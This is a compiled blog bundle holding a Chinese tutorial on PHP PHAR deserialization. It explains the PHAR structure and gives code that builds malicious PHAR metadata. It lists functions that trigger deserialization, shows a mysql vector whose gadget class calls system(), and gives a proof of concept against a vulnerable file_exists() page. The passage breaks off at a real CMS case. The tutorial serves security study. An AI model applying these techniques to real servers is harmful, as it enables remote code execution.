wjlin0.github.io/assets/js/2308dad9.82a5874f.js

"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3926],{28453:(n,e,i)=>{i.d(e,{R:()=>c,x:()=>l});var s=i(96540);const t={},r=s.createContext(t);function c(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:c(n.components),s.createElement(r.Provider,{value:e},n.children)}},73511:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>a,contentTitle:()=>l,default:()=>p,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1"},"next":{"title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1"}}');var t=i(74848),r=i(28453);const c={},l="\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",a={},h=[{value:"1. \u524d\u8a00",id:"1-\u524d\u8a00",level:2},{value:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:2},{value:"2.1 phar\u63cf\u8ff0",id:"21-phar\u63cf\u8ff0",level:3},{value:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784",id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",level:3},{value:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",level:3},{value:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",level:3},{value:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",level:3},{value:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",level:2},{value:"3.1 \u7b80\u5355\u6848\u4f8b",id:"31-\u7b80\u5355\u6848\u4f8b",level:3},{value:"3.2 \u9a91\u67d0 CMS v3.44.0",id:"32-\u9a91\u67d0-cms-v3440",level:3},{value:"3.2.1 \u5229\u7528\u601d\u8def",id:"321-\u5229\u7528\u601d\u8def",level:4},{value:"3.2.2 \u6587\u4ef6\u4e0a\u4f20",id:"322-\u6587\u4ef6\u4e0a\u4f20",level:4},{value:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",level:4},{value:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316",id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",level:4},{value:"3.2.5 \u5229\u7528\u8fc7\u7a0b",id:"325-\u5229\u7528\u8fc7\u7a0b",level:4},{value:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09",id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",level:3},{value:"4. \u514d\u8d23\u58f0\u660e",id:"4-\u514d\u8d23\u58f0\u660e",level:2},{value:"5. \u53c2\u8003",id:"5-\u53c2\u8003",level:2}];function d(n){const e={a:"a",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-03-03 16:42:30"})]})})]}),"\n",(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"\u8bb0\u5f55\u4e00\u6b21\u5bf9phar\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",children:"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u524d\u534a\u90e8\u5206\u662f\u6284\u7684\uff0c\u4e0d\u60f3\u603b\u7ed3\u4e86\u3002\u4e3b\u8981\u770b\u6f0f\u6d1e\u5229\u7528\u5b9e\u4f8b"})}),"\n",(0,t.jsx)(e.h2,{id:"1-\u524d\u8a00",children:"1. \u524d\u8a00"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740 Web \u5b89\u5168\u4e0d\u65ad\u53d1\u5c55\uff0c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5df2\u6210\u4e3a\u4e00\u79cd\u88ab\u5e7f\u6cdb\u5229\u7528\u7684\u653b\u51fb\u624b\u6bb5\uff0c\u7279\u522b\u662f\u5728 PHP \u751f\u6001\u4e2d\u3002",(0,t.jsx)(e.strong,{children:"PHAR\uff08PHP Archive\uff09\u6587\u4ef6"}),"\u4f5c\u4e3a\u4e00\u79cd\u7528\u4e8e\u6253\u5305 PHP \u5e94\u7528\u7a0b\u5e8f\u7684\u683c\u5f0f\uff0c\u5176\u7b80\u4fbf\u7684\u5c01\u88c5\u65b9\u5f0f\u548c\u6267\u884c\u80fd\u529b\u8ba9\u5b83\u6210\u4e3a\u4e86\u653b\u51fb\u8005\u9752\u7750\u7684\u76ee\u6807\u30022015 \u5e74\uff0cStefan Esser \u5728 ",(0,t.jsx)(e.strong,{children:"Black Hat USA 2015"})," \u6f14\u8bb2\u4e2d\u9996\u6b21\u63ed\u793a\u4e86 PHP \u4e2d ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u4e25\u91cd\u6027\u3002\u8fd9\u4e00\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u5236\u7684\u6076\u610f PHAR \u6587\u4ef6\uff0c\u7ed5\u8fc7 PHP \u5185\u7f6e\u7684\u5b89\u5168\u673a\u5236\uff0c\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u7ed9 Web \u5e94\u7528\u5e26\u6765\u4e86\u6781\u5927\u7684\u98ce\u9669\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u5c3d\u7ba1\u8fd9\u4e00\u6f0f\u6d1e\u5df2\u7ecf\u88ab\u516c\u5f00\u591a\u5e74\uff0c\u4f46\u5b83\u4f9d\u7136\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u53ef\u4ee5\u88ab\u6709\u6548\u5229\u7528\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u7f3a\u4e4f\u9002\u5f53\u8f93\u5165\u9a8c\u8bc1\u548c\u5b89\u5168\u914d\u7f6e\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8 ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u539f\u7406\u3001\u53d1\u73b0\u8fc7\u7a0b\u4ee5\u53ca\u5b9e\u9645\u5229\u7528\u65b9\u5f0f\uff0c\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7814\u7a76\u4eba\u5458\u7406\u89e3\u8fd9\u4e00\u653b\u51fb\u6a21\u5f0f\u5e76\u91c7\u53d6\u76f8\u5e94\u7684\u9632\u62a4\u63aa\u65bd\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u9664\u4e86",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u6765\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u5229\u7528phar\u6587\u4ef6\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\u8fd9\u4e00\u7279\u6027\uff0c\u6269\u5927php\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u653b\u51fb\u9762\u3002\u8be5\u65b9\u6cd5\u5728\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\uff08",(0,t.jsx)(e.code,{children:"file_exists()"}),"\u3001",(0,t.jsx)(e.code,{children:"is_dir()"}),"\u7b49\uff09\u53c2\u6570\u53ef\u63a7\u7684\u60c5\u51b5\u4e0b\uff0c\u914d\u5408",(0,t.jsx)(e.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\uff0c\u53ef\u4ee5\u4e0d\u4f9d\u8d56",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u76f4\u63a5\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,t.jsx)(e.h3,{id:"21-phar\u63cf\u8ff0",children:"2.1 phar\u63cf\u8ff0"}),"\n",(0,t.jsx)(e.p,{children:"PHAR\uff08PHP Archive\uff09\u662f PHP \u7684\u4e00\u4e2a\u6863\u6848\u683c\u5f0f\uff0c\u5b83\u5141\u8bb8\u5c06\u591a\u4e2a PHP \u6587\u4ef6\u3001\u8d44\u6e90\u548c\u5e93\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u7c7b\u4f3c\u4e8e Java \u7684 JAR \u6587\u4ef6\u6216 Python \u7684 ZIP \u6587\u4ef6\u3002\u901a\u8fc7\u4f7f\u7528 PHAR\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u65b9\u4fbf\u5730\u5c06 PHP \u7a0b\u5e8f\u548c\u76f8\u5173\u7684\u8d44\u6e90\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u548c\u90e8\u7f72\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["PHAR \u6587\u4ef6\u662f\u538b\u7f29\u7684\uff0c\u53ef\u4ee5\u5305\u542b PHP \u6587\u4ef6\u3001\u56fe\u7247\u3001\u914d\u7f6e\u6587\u4ef6\u7b49\uff0c\u89e3\u538b\u540e\u76f4\u63a5\u53ef\u4ee5\u8fd0\u884c\u3002PHP \u7684\u5185\u7f6e\u6269\u5c55\u652f\u6301\u52a0\u8f7d\u548c\u6267\u884c PHAR \u6587\u4ef6\u5185\u5bb9\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cPHAR \u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"phar://"})," \u534f\u8bae\u76f4\u63a5\u8bbf\u95ee\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"PHAR \u6587\u4ef6\u7684\u5e38\u89c1\u7528\u9014\u5305\u62ec\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5c06 PHP \u7a0b\u5e8f\u6216\u5e93\u6253\u5305\u4e3a\u4e00\u4e2a\u72ec\u7acb\u7684\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4f5c\u4e3a\u5e94\u7528\u7a0b\u5e8f\u7684\u4e00\u4e2a\u6a21\u5757\u6216\u63d2\u4ef6\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4fbf\u4e8e\u538b\u7f29\u548c\u4f18\u5316\u4ee3\u7801\uff0c\u51cf\u5c11\u6587\u4ef6\u6570\u91cf\u3002"}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",children:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u90fd\u5305\u542b\u4ee5\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"1. stub\n    phar\u6587\u4ef6\u7684\u6807\u5fd7\uff0c\u5fc5\u987b\u4ee5 xxx __HALT_COMPILER();?> \u7ed3\u5c3e\uff0c\u5426\u5219\u65e0\u6cd5\u8bc6\u522b\u3002xxx\u53ef\u4ee5\u4e3a\u81ea\u5b9a\u4e49\u5185\u5bb9\u3002\n2. manifest\n    phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002\n3. content\n    \u88ab\u538b\u7f29\u6587\u4ef6\u7684\u5185\u5bb9\n4. signature (\u53ef\u7a7a)\n    \u7b7e\u540d\uff0c\u653e\u5728\u672b\u5c3e\u3002\n"})}),"\n",(0,t.jsx)(e.h3,{id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",children:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6"}),"\n",(0,t.jsx)(e.p,{children:"php\u5185\u7f6e\u4e86\u4e00\u4e2aphar\u7c7b\u6765\u5904\u7406\u76f8\u5173\u64cd\u4f5c\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a\u8fd9\u91cc\u8981\u5c06php.ini\u91cc\u9762\u7684",(0,t.jsx)(e.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,t.jsx)(e.code,{children:"Off"}),"\u3002",(0,t.jsx)(e.code,{children:"\u5e76\u628a\u5206\u53f7\u53bb\u6389\u3002"})]}),"\n",(0,t.jsx)(e.p,{children:"(\u5982\u679c\u4f60\u5728\u547d\u4ee4\u884c\u8fd0\u884cPHP\u6587\u4ef6\u8fd8\u662f\u65e0\u6cd5\u751f\u6210\u6210\u529f\uff0c\u8bf7\u4f7f\u7528php -v\u67e5\u770bphp\u7248\u672c\u5e76\u5728\u4fee\u6539\u6307\u5b9a\u7248\u672c\u7684php.ini\u3002)"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:'<?php\n    class TestObject {\n    }\n\n    @unlink("phar.phar");\n    $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n    $phar->startBuffering();\n    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n    $o = new TestObject();\n    $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n    $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n    //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n    $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6267\u884c\u8fd9\u4e2aphp\u6587\u4ef6\uff0c\u4f1a\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\u3002\u6253\u5f00\u67e5\u770b\u53ef\u4ee5\u770b\u5230Meta-data\u7684\u5185\u5bb9\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u50a8\u5b58\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639073.jpg",alt:"shengchengpharphp.jpg"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639074.jpg",alt:"xuliehua.jpg"})}),"\n",(0,t.jsx)(e.p,{children:"php\u5728\u89e3\u6790\u8fd9\u4e2aphar\u7684\u65f6\u5019\uff0c\u8fd8\u4f1a\u5bf9meta-data\u6570\u636e\u8fdb\u884c\u4e00\u6b21\u53cd\u5e8f\u5217\u5316\u3002PHP\u5e95\u5c42\u4ee3\u7801\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639075.png",alt:"phpdiceng.png"})}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u53cd\u5e8f\u5217\u5316\uff0c\u6211\u4eec\u5c31\u80fd\u591f\u63a7\u5236\u4e00\u4e9b\u7c7b\u7684\u53d8\u91cf\u8fdb\u884c\u5229\u7528\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",children:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u8981\u80fd\u591f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u8981\u6709\u53ef\u7528\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528\u94fe\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u53ef\u63a7\uff0c\u4e14",(0,t.jsx)(e.code,{children:":"}),"\u3001",(0,t.jsx)(e.code,{children:"/"}),"\u3001",(0,t.jsx)(e.code,{children:"phar"}),"\u7b49\u7279\u6b8a\u5b57\u7b26\u6ca1\u6709\u88ab\u8fc7\u6ee4\u3002"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",children:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"fileatime"}),"\n",(0,t.jsx)(e.li,{children:"file_ put contents"}),"\n",(0,t.jsx)(e.li,{children:"fileinode"}),"\n",(0,t.jsx)(e.li,{children:"is_dir"}),"\n",(0,t.jsx)(e.li,{children:"is_readable"}),"\n",(0,t.jsx)(e.li,{children:"copy"}),"\n",(0,t.jsx)(e.li,{children:"filectime"}),"\n",(0,t.jsx)(e.li,{children:"file"}),"\n",(0,t.jsx)(e.li,{children:"filemtime"}),"\n",(0,t.jsx)(e.li,{children:"is_executable"}),"\n",(0,t.jsx)(e.li,{children:"is_writable"}),"\n",(0,t.jsx)(e.li,{children:"unlink"}),"\n",(0,t.jsx)(e.li,{children:"file_exists"}),"\n",(0,t.jsx)(e.li,{children:"filegroup"}),"\n",(0,t.jsx)(e.li,{children:"fileowner"}),"\n",(0,t.jsx)(e.li,{children:"is_file"}),"\n",(0,t.jsx)(e.li,{children:"is_writeable"}),"\n",(0,t.jsx)(e.li,{children:"stat"}),"\n",(0,t.jsx)(e.li,{children:"file_get_contents"}),"\n",(0,t.jsx)(e.li,{children:"fopen"}),"\n",(0,t.jsx)(e.li,{children:"fileperms"}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"is_link"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"parse_ini_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"readfile"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imageloadfont"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imagecreatefrom***"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_hmac_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_update_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"md5_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"sha1_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"get_meta_tags"})}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"get_headers"}),"\uff08\u8fd9\u4e2a\u4e0d\u592a\u786e\u5b9a\u6ca1\u8bd5\u51fa\u6765\uff09"]}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesize"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesizefromstring"})}),"\n",(0,t.jsx)(e.li,{children:"postgres"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'<?php\n$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));\n@$pdo->pgsqlCopyFromFile(\'aa\', \'phar://test.phar/aa\');\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5f53\u7136\uff0c",(0,t.jsx)(e.code,{children:"pgsqlCopyToFile"}),"\u548c",(0,t.jsx)(e.code,{children:"pg_trace"}),"\u540c\u6837\u4e5f\u662f\u80fd\u4f7f\u7528\u7684\uff0c\u53ea\u662f\u5b83\u4eec\u9700\u8981\u5f00\u542fphar\u7684\u5199\u529f\u80fd\u3002"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"mysql"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nclass A {\n    public $s = '';\n    public function __wakeup () {\n        system($this->s);\n    }\n}\n$m = mysqli_init();\nmysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);\n$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);\n$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \\'phar://test.phar/test\\' INTO TABLE a  LINES TERMINATED BY \\'\\r\\n\\'  IGNORE 1 LINES;');\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u518d\u914d\u7f6e\u4e00\u4e0bmysqld\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-ini",children:'[mysqld]\nlocal-infile=1\nsecure_file_priv=""\n'})}),"\n",(0,t.jsx)(e.h2,{id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",children:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b"}),"\n",(0,t.jsx)(e.h3,{id:"31-\u7b80\u5355\u6848\u4f8b",children:"3.1 \u7b80\u5355\u6848\u4f8b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'// phar.php\n<?php\n    class TestObject {\n    }\n    $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n    $phar->startBuffering();\n    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n    $o = new TestObject();\n    $o -> name=\'Threezh1\'; //\u63a7\u5236TestObject\u4e2d\u7684name\u53d8\u91cf\u4e3aThreezh1\n    $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n    $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n    //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n    $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'index.php\n<?php\nclass TestObject {\n\tpublic $name;\n\n\tfunction __destruct()\n\t{\n\t\techo $this -> name;\n\t}\n}\nif ($_GET["file"]){\n\tfile_exists($_GET["file"]);\n}\n?>\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4f7f\u7528",(0,t.jsx)(e.code,{children:"php phar.php"}),"\u751f\u6210",(0,t.jsx)(e.code,{children:"phar.phar"}),"\u6587\u4ef6\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8bbf\u95ee\uff1a",(0,t.jsx)(e.a,{href:"http://127.0.0.1/index.php?file=phar://phar.phar",children:"http://127.0.0.1/index.php?file=phar://phar.phar"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd4\u56de\uff1a",(0,t.jsx)(e.code,{children:"Threezh1"}),"\u3002 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u6210\u529f\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639076.jpg",alt:"example01.jpg"})}),"\n",(0,t.jsx)(e.h3,{id:"32-\u9a91\u67d0-cms-v3440",children:"3.2 \u9a91\u67d0 CMS v3.44.0"}),"\n",(0,t.jsx)(e.h4,{id:"321-\u5229\u7528\u601d\u8def",children:"3.2.1 